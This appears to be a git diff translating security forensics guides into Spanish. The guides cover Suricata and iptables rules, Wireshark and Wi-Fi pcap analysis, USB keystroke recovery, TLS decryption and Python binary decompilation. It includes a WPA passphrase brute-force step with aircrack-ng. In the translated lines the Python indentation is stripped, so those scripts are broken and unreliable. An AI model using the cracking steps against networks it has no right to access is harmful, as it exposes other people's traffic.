cuando el sistema está involucrado en el enrutamiento, NATing, o actividades similares. +- **Cadena de Salida**: Dedicada a la regulación de las conexiones salientes. +Estas cadenas aseguran el procesamiento ordenado del tráfico de red, permitiendo la especificación de reglas detalladas que rigen el flujo de datos hacia, a través y desde un sistema. ```bash # Delete all rules iptables -F @@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### Instalación y Configuración ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -64,7 +61,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -80,7 +77,7 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules @@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -120,76 +117,70 @@ Type=simple systemctl daemon-reload ``` +### Definiciones de Reglas -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -- The **action**, determines what happens when the signature matches. -- The **header**, defines the protocol, IP addresses, ports and direction of the rule. -- The **rule options**, define the specifics of the rule. +[De la documentación:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Una regla/firma consiste en lo siguiente: +- La **acción**, determina qué sucede cuando la firma coincide. +- El **encabezado**, define el protocolo, direcciones IP, puertos y dirección de la regla. +- Las **opciones de la regla**, definen los detalles específicos de la regla. ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **Acciones válidas son** -#### **Valid actions are** +- alert - generar una alerta +- pass - detener la inspección adicional del paquete +- **drop** - descartar el paquete y generar una alerta +- **reject** - enviar un error RST/ICMP inalcanzable al remitente del paquete coincidente. +- rejectsrc - igual que _reject_ +- rejectdst - enviar un paquete de error RST/ICMP al receptor del paquete coincidente. +- rejectboth - enviar paquetes de error RST/ICMP a ambos lados de la conversación. -- alert - generate an alert -- pass - stop further inspection of the packet -- **drop** - drop packet and generate alert -- **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -- rejectsrc - same as just _reject_ -- rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -- rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **Protocolos** -#### **Protocols** - -- tcp (for tcp-traffic) +- tcp (para tráfico tcp) - udp - icmp -- ip (ip stands for ‘all’ or ‘any’) -- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +- ip (ip significa ‘todos’ o ‘cualquiera’) +- _protocolos de capa 7_: http, ftp, tls, smb, dns, ssh... (más en la [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### Direcciones de Origen y Destino -It supports IP ranges, negations and a list of addresses: +Soporta rangos de IP, negaciones y una lista de direcciones: -| Example | Meaning | -| ----------------------------- | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME_NET | Your setting of HOME_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| Ejemplo | Significado | +| ----------------------------- | -------------------------------------------- | +| ! 1.1.1.1 | Cada dirección IP excepto 1.1.1.1 | +| !\[1.1.1.1, 1.1.1.2] | Cada dirección IP excepto 1.1.1.1 y 1.1.1.2 | +| $HOME_NET | Tu configuración de HOME_NET en yaml | +| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET y no HOME_NET | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 excepto por 10.0.0.5 | -#### Source and Destination Ports +#### Puertos de Origen y Destino -It supports port ranges, negations and lists of ports +Soporta rangos de puertos, negaciones y listas de puertos -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| Ejemplo | Significado | +| --------------- | ------------------------------------------ | +| any | cualquier dirección | +| \[80, 81, 82] | puerto 80, 81 y 82 | +| \[80: 82] | Rango de 80 hasta 82 | +| \[1024: ] | Desde 1024 hasta el número de puerto más alto | +| !80 | Cada puerto excepto 80 | +| \[80:100,!99] | Rango de 80 hasta 100 pero 99 excluido | +| \[1:80,!\[2,4]] | Rango de 1-80, excepto puertos 2 y 4 | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### Dirección +Es posible indicar la dirección de la regla de comunicación que se está aplicando: ``` source -> destination source <> destination (both directions) ``` +#### Palabras clave -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Hay **cientos de opciones** disponibles en Suricata para buscar el **paquete específico** que estás buscando, aquí se mencionará si se encuentra algo interesante. ¡Consulta la [**documentación**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) para más! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 782e405aa..60a3b1f9d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -2,18 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Si tienes un pcap que contiene la comunicación a través de USB de un teclado como el siguiente: ![](<../../../images/image (962).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication: - +Puedes usar la herramienta [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) para obtener lo que se escribió en la comunicación: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Puedes leer más información y encontrar algunos scripts sobre cómo analizar esto en: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index f1371d5fa..818ba24aa 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,40 +1,38 @@ -# Wifi Pcap Analysis +# Análisis de Pcap de Wifi {{#include ../../../banners/hacktricks-training.md}} -## Check BSSIDs +## Verificar BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Cuando recibes una captura cuyo tráfico principal es Wifi usando WireShark, puedes comenzar a investigar todos los SSIDs de la captura con _Wireless --> WLAN Traffic_: ![](<../../../images/image (106).png>) ![](<../../../images/image (492).png>) -### Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +### Fuerza Bruta +Una de las columnas de esa pantalla indica si **se encontró alguna autenticación dentro del pcap**. Si ese es el caso, puedes intentar forzarla usando `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Por ejemplo, recuperará la frase de paso WPA que protege un PSK (clave precompartida), que será necesaria para descifrar el tráfico más tarde. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +## Datos en Beacons / Canal Lateral -## Data in Beacons / Side Channel +Si sospechas que **los datos están siendo filtrados dentro de los beacons de una red Wifi**, puedes verificar los beacons de la red utilizando un filtro como el siguiente: `wlan contains `, o `wlan.ssid == "NAMEofNETWORK"` busca dentro de los paquetes filtrados cadenas sospechosas. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +## Encontrar Direcciones MAC Desconocidas en una Red Wifi -## Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +El siguiente enlace será útil para encontrar las **máquinas que envían datos dentro de una Red Wifi**: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Si ya conoces **las direcciones MAC, puedes eliminarlas de la salida** añadiendo comprobaciones como esta: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Una vez que hayas detectado **direcciones MAC desconocidas** comunicándose dentro de la red, puedes usar **filtros** como el siguiente: `wlan.addr== && (ftp || http || ssh || telnet)` para filtrar su tráfico. Ten en cuenta que los filtros ftp/http/ssh/telnet son útiles si has descifrado el tráfico. -## Decrypt Traffic +## Desencriptar Tráfico Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 6565bd680..5358a3194 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,157 +1,155 @@ -# Wireshark tricks +# Trucos de Wireshark {{#include ../../../banners/hacktricks-training.md}} -## Improve your Wireshark skills +## Mejora tus habilidades en Wireshark -### Tutorials +### Tutoriales -The following tutorials are amazing to learn some cool basic tricks: +Los siguientes tutoriales son increíbles para aprender algunos trucos básicos geniales: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### Información Analizada -**Expert Information** +**Información Experta** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +Al hacer clic en _**Analizar** --> **Información Experta**_ tendrás una **visión general** de lo que está sucediendo en los paquetes **analizados**: ![](<../../../images/image (256).png>) -**Resolved Addresses** +**Direcciones Resueltas** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +Bajo _**Estadísticas --> Direcciones Resueltas**_ puedes encontrar varias **informaciones** que fueron "**resueltas**" por Wireshark, como puerto/transporte a protocolo, MAC al fabricante, etc. Es interesante saber qué está implicado en la comunicación. ![](<../../../images/image (893).png>) -**Protocol Hierarchy** +**Jerarquía de Protocolos** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +Bajo _**Estadísticas --> Jerarquía de Protocolos**_ puedes encontrar los **protocolos** **involucrados** en la comunicación y datos sobre ellos. ![](<../../../images/image (586).png>) -**Conversations** +**Conversaciones** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +Bajo _**Estadísticas --> Conversaciones**_ puedes encontrar un **resumen de las conversaciones** en la comunicación y datos sobre ellas. ![](<../../../images/image (453).png>) -**Endpoints** +**Puntos Finales** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +Bajo _**Estadísticas --> Puntos Finales**_ puedes encontrar un **resumen de los puntos finales** en la comunicación y datos sobre cada uno de ellos. ![](<../../../images/image (896).png>) -**DNS info** +**Información DNS** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +Bajo _**Estadísticas --> DNS**_ puedes encontrar estadísticas sobre la solicitud DNS capturada. ![](<../../../images/image (1063).png>) -**I/O Graph** +**Gráfico I/O** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +Bajo _**Estadísticas --> Gráfico I/O**_ puedes encontrar un **gráfico de la comunicación.** ![](<../../../images/image (992).png>) -### Filters +### Filtros -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +Aquí puedes encontrar filtros de Wireshark dependiendo del protocolo: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +Otros filtros interesantes: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic +- Tráfico HTTP y HTTPS inicial - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN +- Tráfico HTTP y HTTPS inicial + TCP SYN - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN + DNS requests +- Tráfico HTTP y HTTPS inicial + TCP SYN + solicitudes DNS -### Search +### Búsqueda -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +Si deseas **buscar** **contenido** dentro de los **paquetes** de las sesiones, presiona _CTRL+f_. Puedes agregar nuevas capas a la barra de información principal (No., Hora, Origen, etc.) presionando el botón derecho y luego editando la columna. -### Free pcap labs +### Laboratorios pcap gratuitos -**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**Practica con los desafíos gratuitos de:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) -## Identifying Domains +## Identificación de Dominios -You can add a column that shows the Host HTTP header: +Puedes agregar una columna que muestre el encabezado HTTP del Host: ![](<../../../images/image (639).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +Y una columna que agregue el nombre del Servidor de una conexión HTTPS iniciada (**ssl.handshake.type == 1**): ![](<../../../images/image (408) (1).png>) -## Identifying local hostnames +## Identificación de nombres de host locales -### From DHCP +### Desde DHCP -In current Wireshark instead of `bootp` you need to search for `DHCP` +En la versión actual de Wireshark, en lugar de `bootp`, necesitas buscar `DHCP` ![](<../../../images/image (1013).png>) -### From NBNS +### Desde NBNS ![](<../../../images/image (1003).png>) -## Decrypting TLS +## Desencriptación de TLS -### Decrypting https traffic with server private key +### Desencriptación del tráfico https con la clave privada del servidor -_edit>preference>protocol>ssl>_ +_edit>preferencia>protocolo>ssl>_ ![](<../../../images/image (1103).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +Presiona _Editar_ y agrega todos los datos del servidor y la clave privada (_IP, Puerto, Protocolo, Archivo de clave y contraseña_) -### Decrypting https traffic with symmetric session keys +### Desencriptación del tráfico https con claves de sesión simétricas -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +Tanto Firefox como Chrome tienen la capacidad de registrar claves de sesión TLS, que se pueden usar con Wireshark para desencriptar el tráfico TLS. Esto permite un análisis profundo de las comunicaciones seguras. Más detalles sobre cómo realizar esta desencriptación se pueden encontrar en una guía en [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +Para detectar esto, busca dentro del entorno la variable `SSLKEYLOGFILE` -A file of shared keys will look like this: +Un archivo de claves compartidas se verá así: ![](<../../../images/image (820).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +Para importar esto en Wireshark, ve a _editar > preferencia > protocolo > ssl > e impórtalo en (Pre)-Master-Secret log filename: ![](<../../../images/image (989).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## Comunicación ADB +Extrae un APK de una comunicación ADB donde se envió el APK: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..a73c920ab 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Descompilar binarios de python compilados (exe, elf) - Recuperar de .pyc {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## De binario compilado a .pyc +De un binario compilado **ELF** puedes **obtener el .pyc** con: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +En un **binario exe de python** compilado puedes **obtener el .pyc** ejecutando: ```bash python pyinstxtractor.py executable.exe ``` +## De .pyc a código python -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Para los datos **.pyc** ("compilado" python) deberías comenzar intentando **extraer** el **código** **python** **original**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no va a funcionar) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**: +### Error: Número mágico desconocido 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Los números mágicos varían con la versión de python**, para obtener el número mágico de **python 3.8** necesitarás **abrir un terminal de python 3.8** y ejecutar: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para solucionar este error necesitarás **agregar** al **principio** del **archivo .pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar solucionado.** +Así es como se verá un **encabezado mágico .pyc python3.8** correctamente agregado: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Error: Decompilación de errores genéricos -### Error: Decompiling generic errors +**Otros errores** como: `class 'AssertionError'>; co_code debería ser uno de los tipos (, , , ); es tipo ` pueden aparecer. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que asegúrate de usar el correcto (o prueba uno nuevo). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Consulta la documentación del error anterior. -Check the previous error documentation. +## Herramienta Automática -## Automatic Tool +La [**herramienta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y decompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable es basado en Python y confirma la herramienta de creación. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Nombre de archivo: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' no existe -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Un problema común encontrado involucra un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a un número de versión de bytecode de Python faltante**. Para abordar esto, se ha añadido una opción de prepend, que agrega el número de versión de bytecode de Python necesario, facilitando el proceso de decompilación. +Ejemplo del problema: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Análisis de ensamblaje de python -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Si no pudiste extraer el código "original" de python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblaje** (pero **no es muy descriptivo**, así que **intenta** extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de python2, usa python2: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python a Ejecutable -## Python to Executable +Para empezar, vamos a mostrarte cómo se pueden compilar los payloads en py2exe y PyInstaller. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Para crear un payload usando py2exe: +1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org) +2. Para el payload (en este caso, lo llamaremos hello.py), utiliza un script como el de la Figura 1. La opción “bundle_files” con el valor de 1 agrupará todo, incluyendo el intérprete de Python, en un solo exe. +3. Una vez que el script esté listo, emitiremos el comando “python setup.py py2exe”. Esto creará el ejecutable, tal como en la Figura 2. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running 